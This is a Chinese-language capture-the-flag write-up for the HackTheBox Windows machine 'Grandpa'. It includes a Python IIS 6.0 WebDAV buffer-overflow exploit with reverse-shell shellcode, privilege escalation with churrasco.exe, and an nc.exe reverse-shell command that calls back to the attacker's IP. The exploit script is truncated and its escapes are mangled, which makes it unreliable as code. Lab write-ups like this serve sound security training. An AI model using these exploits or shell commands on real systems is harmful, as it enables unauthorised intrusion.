> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/grandpa-hackthebox-writeup.md). # Grandpa HackTheBox 复盘 Grandpa HackTheBox 简单 Windows 机器复盘，涵盖 Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' 远程缓冲区溢出（RCE）、令牌劫持 - Churrasco（提权），并包含实 {% embed url="" %} {% hint style="warning" %} **技能：** * Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' 远程缓冲区溢出（RCE） * 令牌劫持 - Churrasco（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。
**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。
**使用 Nmap 搜索开放端口：80** ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.14 -oG allPortsbash ```
**使用 Nmap 进行端口版本扫描：** ```bash nmap -sCV -p80 10.10.10.14 -oN targeted ```
我们注意到该页面使用 **WebDAV** 在 **Microsoft-IIS 6.0**. ## 利用 WebDAV - Microsoft-IIS 6.0 **使用 Davtest 进行上传测试** 我们检查是否可以注入恶意文件： ```bash davtest -url http://10.10.10.14 ``` 然而，每个扩展都返回 **失败**，这表明上传受到限制。
既然我们已确认服务器正在运行 **IIS 6.0**，我们正在利用一个 **缓冲区溢出** 漏洞，该漏洞于 2017 年被发现。
下面是一个利用此漏洞并获取 shell 的 Python 脚本： {% embed url="" %} ```python import sys import struct import socket if len(sys.argv)<5: print '用法:iis6webdav.py targetip targetport reverseip reverseport/n' exit(1) targetip = sys.argv[1] targetport = int(sys.argv[2]) reverseip = sys.argv[3] reverseport = int(sys.argv[4]) shellcode='/x55/x8B/xEC/x81/xEC/xDC/x05/x00/x00/x53/x56/x57/x8B/x45/x08/x8B'+/ ' /x40/x78/x89/x85/xE4/xFA/xFF/xFF/x8B/x45/x08/x8B/x40/x70/x89/x45'+/ ' /xFC/xC7/x85/xC8/xFC/xFF/xFF/x77/x73/x32/x5F/xC7/x85/xCC/xFC/xFF'+/ ' /xFF/x33/x32/x2E/x64/xC7/x85/xD0/xFC/xFF/xFF/x6C/x6C/x00/x00/xC7'+/ ' /x85/xD8/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/xDC/xFA/xFF/xFF/x74'+/ ' /x61/x72/x74/xC7/x85/xE0/xFA/xFF/xFF/x75/x70/x00/x00/xC7/x85/x58'+/ ' /xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/x5C/xFA/xFF/xFF/x6F/x63/x6B'+/ ' /x65/xC7/x85/x60/xFA/xFF/xFF/x74/x41/x00/x00/xC7/x85/xE8/xFC/xFF'+/ ' /xFF/x57/x53/x41/x43/xC7/x85/xEC/xFC/xFF/xFF/x6F/x6E/x6E/x65/xC7'+/ ' /x85/xF0/xFC/xFF/xFF/x63/x74/x00/x00/xC7/x85/xA8/xFA/xFF/xFF/x69'+/ ' /x6E/x65/x74/xC7/x85/xAC/xFA/xFF/xFF/x5F/x61/x64/x64/xC7/x85/xB0'+/ ' /xFA/xFF/xFF/x72/x00/x00/x00/xC7/x85/x14/xFD/xFF/xFF/x68/x74/x6F'+/ ' /x6E/xC7/x85/x18/xFD/xFF/xFF/x73/x00/x00/x00/xC7/x85/xF4/xFC/xFF'+/ ' /xFF/x43/x3A/x5C/x57/xC7/x85/xF8/xFC/xFF/xFF/x69/x6E/x64/x6F/xC7'+/ ' /x85/xFC/xFC/xFF/xFF/x77/x73/x5C/x73/xC7/x85/x00/xFD/xFF/xFF/x79'+/ ' /x73/x74/x65/xC7/x85/x04/xFD/xFF/xFF/x6D/x33/x32/x5C/xC7/x85/x08'+/ ' /xFD/xFF/xFF/x63/x6D/x64/x2E/xC7/x85/x0C/xFD/xFF/xFF/x65/x78/x65'+/ ' /x00/xC7/x85/x18/xFB/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/x1C/xFB/xFF'+/ ' /xFF/x69/x6E/x64/x6F/xC7/x85/x20/xFB/xFF/xFF/x77/x73/x5C/x73/xC7'+/ ' /x85/x24/xFB/xFF/xFF/x79/x73/x74/x65/xC7/x85/x28/xFB/xFF/xFF/x6D'+/ ' /x33/x32/x5C/xC7/x85/x2C/xFB/xFF/xFF/x63/x61/x6C/x63/xC7/x85/x30'+/ ' /xFB/xFF/xFF/x2E/x65/x78/x65/x83/xA5/x34/xFB/xFF/xFF/x00/xC7/x85'+/ ' /xE8/xFA/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/xEC/xFA/xFF/xFF/x49/x4E'+/ ' /x44/x4F/xC7/x85/xF0/xFA/xFF/xFF/x57/x53/x5C/x49/xC7/x85/xF4/xFA'+/ ' /xFF/xFF/x49/x53/x20/x54/xC7/x85/xF8/xFA/xFF/xFF/x65/x6D/x70/x6F'+/ ' /xC7/x85/xFC/xFA/xFF/xFF/x72/x61/x72/x79/xC7/x85/x00/xFB/xFF/xFF'+/ ' /x20/x43/x6F/x6D/xC7/x85/x04/xFB/xFF/xFF/x70/x72/x65/x73/xC7/x85'+/ ' /x08/xFB/xFF/xFF/x73/x65/x64/x20/xC7/x85/x0C/xFB/xFF/xFF/x46/x69'+/ ' /x6C/x65/xC7/x85/x10/xFB/xFF/xFF/x73/x5C/x63/x2E/xC7/x85/x14/xFB'+/ ' /xFF/xFF/x65/x78/x65/x00/xC7/x85/xD0/xFA/xFF/xFF'+struct.pack('i',reverseport)+/ ' /xE9/x3E/x04/x00/x00/x5F/x89/xBD/xB4/xFA/xFF/xFF/xE8/x4C/x04/x00'+/ ' /x00/x89/x85/x24/xFA/xFF/xFF/x68/x53/xC0/x49/x9C/xFF/xB5/x24/xFA'+/ ' /xFF/xFF/xE8/x5D/x04/x00/x00/x59/x59/x89/x85/x28/xFA/xFF/xFF/x68'+/ ' /x5A/xC1/xCB/xC2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x45/x04/x00/x00/x59'+/ ' /x59/x89/x85/x2C/xFA/xFF/xFF/x68/x1C/xC9/x05/xBA/xFF/xB5/x24/xFA'+/ ' /xFF/xFF/xE8/x2D/x04/x00/x00/x59/x59/x89/x85/x30/xFA/xFF/xFF/x68'+/ ' /x54/x34/x4F/xA2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x15/x04/x00/x00/x59'+/ ' /x59/x89/x85/x34/xFA/xFF/xFF/x68/x12/x75/x1D/x45/xFF/xB5/x24/xFA'+/ ' /xFF/xFF/xE8/xFD/x03/x00/x00/x59/x59/x89/x85/x38/xFA/xFF/xFF/x68'+/ ' /xE9/x65/x73/x1B/xFF/xB5/x24/xFA/xFF/xFF/xE8/xE5/x03/x00/x00/x59'+/ ' /x59/x89/x85/x3C/xFA/xFF/xFF/x68/x3A/xFD/xFB/x1E/xFF/xB5/x24/xFA'+/ ' /xFF/xFF/xE8/xCD/x03/x00/x00/x59/x59/x89/x85/x40/xFA/xFF/xFF/x68'+/ ' /xBD/x50/xD7/x2D/xFF/xB5/x24/xFA/xFF/xFF/xE8/xB5/x03/x00/x00/x59'+/ ' /x59/x89/x85/x44/xFA/xFF/xFF/x68/xEF/x60/x08/xE7/xFF/xB5/x24/xFA'+/ ' /xFF/xFF/xE8/x9D/x03/x00/x00/x59/x59/x89/x85/x48/xFA/xFF/xFF/x68'+/ ' /x83/x94/x7B/x10/xFF/xB5/x24/xFA/xFF/xFF/xE8/x85/x03/x00/x00/x59'+/ ' /x59/x89/x85/x4C/xFA/xFF/xFF/x68/x49/x17/x55/xC0/xFF/xB5/x24/xFA'+/ ' /xFF/xFF/xE8/x6D/x03/x00/x00/x59/x59/x89/x85/x50/xFA/xFF/xFF/x68'+/ ' /xD9/xE5/x1A/x06/xFF/xB5/x24/xFA/xFF/xFF/xE8/x55/x03/x00/x00/x59'+/ ' /x59/x89/x85/x54/xFA/xFF/xFF/x8D/x85/xC8/xFC/xFF/xFF/x50/xFF/x95'+/ ' /x28/xFA/xFF/xFF/x89/x85/x1C/xFD/xFF/xFF/x83/xBD/x1C/xFD/xFF/xFF'+/ ' /x00/x0F/x84/x39/x01/x00/x00/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D'+/ ' /x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4'+/ ' /xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x64'+/ ' /xFA/xFF/xFF/x00/xEB/xDA/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D/x8B'+/ ' /x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4/xFA'+/ ' /xFF/xFF/x10/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x20/xFD'+/ ' /xFF/xFF/x00/xEB/xDA/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA'+/ ' /xFF/xFF/x50/x6A/x00/x6A/x00/x6A/x04/x6A/x00/x6A/x00/x6A/x00/x6A'+/ ' /x00/x8D/x85/x18/xFB/xFF/xFF/x50/xFF/x95/x34/xFA/xFF/xFF/xFF/xB5'+/ ' /x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/x68/xE8/x03/x00/x00/xFF'+/ ' /x95/x54/xFA/xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x40/xFA/xFF'+/ ' /xFF/xC7/x85/x30/xFD/xFF/xFF/x01/x00/x01/x00/x8D/x85/x30/xFD/xFF'+/ ' /xFF/x50/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x44/xFA/xFF/xFF/x6A/x40'+/ ' /x68/x00/x10/x00/x00/xFF/x75/xFC/x6A/x00/xFF/xB5/x20/xFD/xFF/xFF'+/ ' /xFF/x95/x48/xFA/xFF/xFF/x89/x85/x10/xFD/xFF/xFF/x6A/x00/xFF/x75'+/ ' /xFC/xFF/xB5/xE4/xFA/xFF/xFF/xFF/xB5/x10/xFD/xFF/xFF/xFF/xB5/x20'+/ ' /xFD/xFF/xFF/xFF/x95/x4C/xFA/xFF/xFF/x8B/x85/x10/xFD/xFF/xFF/x89'+/ ' /x85/xE8/xFD/xFF/xFF/xC7/x85/x30/xFD/xFF/xFF/x01/x00/x01/x00/x8D'+/ ' /x85/x30/xFD/xFF/xFF/x50/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x50/xFA'+/ ' /xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/xEB/x1E'+/ ' /x6A/x00/x8D/x85/xE8/xFA/xFF/xFF/x50/x8D/x85/xF4/xFC/xFF/xFF/x50'+/ ' /xFF/x95/x30/xFA/xFF/xFF/x6A/x01/xFF/x95/x38/xFA/xFF/xFF/x68/x70'+/ ' /x17/x00/x00/xFF/x95/x54/xFA/xFF/xFF/x8D/x85/xD8/xFA/xFF/xFF/x50'+/ ' /xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85/xBC/xFA'+/ ' /xFF/xFF/x8D/x85/x58/xFA/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF'+/ ' /x95/x2C/xFA/xFF/xFF/x89/x85/xC0/xFA/xFF/xFF/x8D/x85/xE8/xFC/xFF'+/ ' /xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85'+/ ' /xC4/xFA/xFF/xFF/x8D/x85/xA8/xFA/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF'+/ ' /xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85/xC8/xFA/xFF/xFF/x8D/x85/x14'+/ ' /xFD/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF'+/ ' /x89/x85/xCC/xFA/xFF/xFF/x8D/x85/x38/xFB/xFF/xFF/x50/x68/x02/x02'+/ ' /x00/x00/xFF/x95/xBC/xFA/xFF/xFF/x6A/x00/x6A/x00/x6A/x00/x6A/x06'+/ ' /x6A/x01/x6A/x02/xFF/x95/xC0/xFA/xFF/xFF/x89/x85/xD4/xFC/xFF/xFF'+/ ' /x66/xC7/x85/xD8/xFC/xFF/xFF/x02/x00/xFF/xB5/xD0/xFA/xFF/xFF/xFF'+/ ' /x95/xCC/xFA/xFF/xFF/x66/x89/x85/xDA/xFC/xFF/xFF/xFF/xB5/xB4/xFA'+/ ' /xFF/xFF/xFF/x95/xC8/xFA/xFF/xFF/x89/x85/xDC/xFC/xFF/xFF/x6A/x00'+/ ' /x6A/x00/x6A/x00/x6A/x00/x6A/x10/x8D/x85/xD8/xFC/xFF/xFF/x50/xFF'+/ ' /xB5/xD4/xFC/xFF/xFF/xFF/x95/xC4/xFA/xFF/xFF/x83/xA5/xD4/xFA/xFF'+/ ' /xFF/x00/xEB/x0D/x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF'+/ ' /xFF/x83/xBD/xD4/xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF'+/ ' /x80/xA4/x05/x64/xFA/xFF/xFF/x00/xEB/xDA/xC7/x85/x64/xFA/xFF/xFF'+/ ' /x44/x00/x00/x00/xC7/x85/x90/xFA/xFF/xFF/x01/x01/x00/x00/x8B/x85'+/ ' /xD4/xFC/xFF/xFF/x89/x85/xA4/xFA/xFF/xFF/x8B/x85/xA4/xFA/xFF/xFF'+/ ' /x89/x85/xA0/xFA/xFF/xFF/x8B/x85/xA0/xFA/xFF/xFF/x89/x85/x9C/xFA'+/ ' /xFF/xFF/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA/xFF/xFF/x50'+/ ' /x6A/x00/x6A/x00/x6A/x00/x6A/x01/x6A/x00/x6A/x00/x8D/x85/xE8/xFA'+/ ' /xFF/xFF/x50/x6A/x00/xFF/x95/x34/xFA/xFF/xFF/x6A/x01/xFF/x95/x38'+/ ' /xFA/xFF/xFF/xE8/xBD/xFB/xFF/xFF'+struct.pack('16s',reverseip)+'/x5F/x5E/x5B/xC9/xC3/x64/xA1/x18'+/ ' /x00/x00/x00/x8B/x40/x30/x33/xC9/x8B/x40/x0C/x8B/x40/x1C/x8B/x00'+/ ' /x8B/x50/x20/x66/x83/x7A/x10/x2E/x74/x06/x41/x83/xF9/x02/x7C/xEE'+/ ' /x8B/x40/x08/xC3/x55/x8B/xEC/x53/x56/x57/x8B/x7D/x08/x83/x65/x08'+/ ' /x00/x8B/x47/x3C/x8B/x44/x38/x78/x03/xC7/x8B/x70/x20/x03/xF7/x83'+/ ' /x78/x18/x00/x76/x2A/x8B/x0E/x03/xCF/x33/xDB/x8A/x11/x84/xD2/x74'+/ ' /x0B/x6B/xDB/x21/x0F/xBE/xD2/x03/xDA/x41/xEB/xEF/x3B/x5D/x0C/x74'+/ ' /x15/x83/xC6/x04/xFF/x45/x08/x8B/x4D/x08/x3B/x48/x18/x72/xD6/x33'+/ ' /xC0/x5F/x5E/x5B/x5D/xC3/x8B/x48/x24/x8B/x55/x08/x8B/x40/x1C/x8D'+/ ' /x0C/x51/x0F/xB7/x0C/x39/x8D/x04/x88/x8B/x04/x38/x03/xC7/xEB/xE1' shellcodelen = 1744 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((targetip,targetport)) pay='PROPFIND / HTTP/1.1/r/nHost: localhost/r/nContent-Length: %d/r/n'%shellcodelen pay+='If:
## 权限提升 ### 内核利用 - Windows Server 2003 通过运行 `systeminfo` 命令，我们发现目标设备运行在 **Windows Server 2003**，一种过时且易受攻击的操作系统： ```bash systeminfo ```
此外，我们拥有 **SeImpersonatePrivilege**权限，这使我们能够尝试使用众所周知的技术提升权限。
#### 使用 churrasco.exe 为了利用此漏洞，我们将使用 **churrasco.exe**，一个用于获取 SYSTEM 权限的利用程序。 {% embed url="" %} /*/* Windows 文件传输（SMB）/*/* > 我们使用 **smbserver.py** 来共享一个包含漏洞利用文件 40627.exe 的目录。然后将该文件复制到目标机器上。 ```bash smbserver.py share $(pwd) -smb2support ``` 从目标机器上，我们将漏洞利用文件复制到当前目录： ```bash copy //10.10.14.32/share/churrasco.exe churrasco.exe ```
然后我们可以使用这个二进制文件执行任意命令，例如： ```bash ./churrasco.exe "whoami" ``` 如果利用成功，我们应该看到 **NT AUTHORITY/SYSTEM**.
**建立反向 shell** 要建立反向 shell，我们监听 443 端口： ```bash rlwrap nc -nvlp 443 ``` 我们再次使用以下命令创建 SMB 服务器： **nc.exe** ```bash smbserver.py share $(pwd) -smb2support ``` 最后，我们使用以下命令执行反向 shell： ```bash ./churrasco.exe "//10.10.14.32/share/nc.exe -e cmd 10.10.14.32 443" ```
### user.txt 标志 :)
### root.txt 标志 :)
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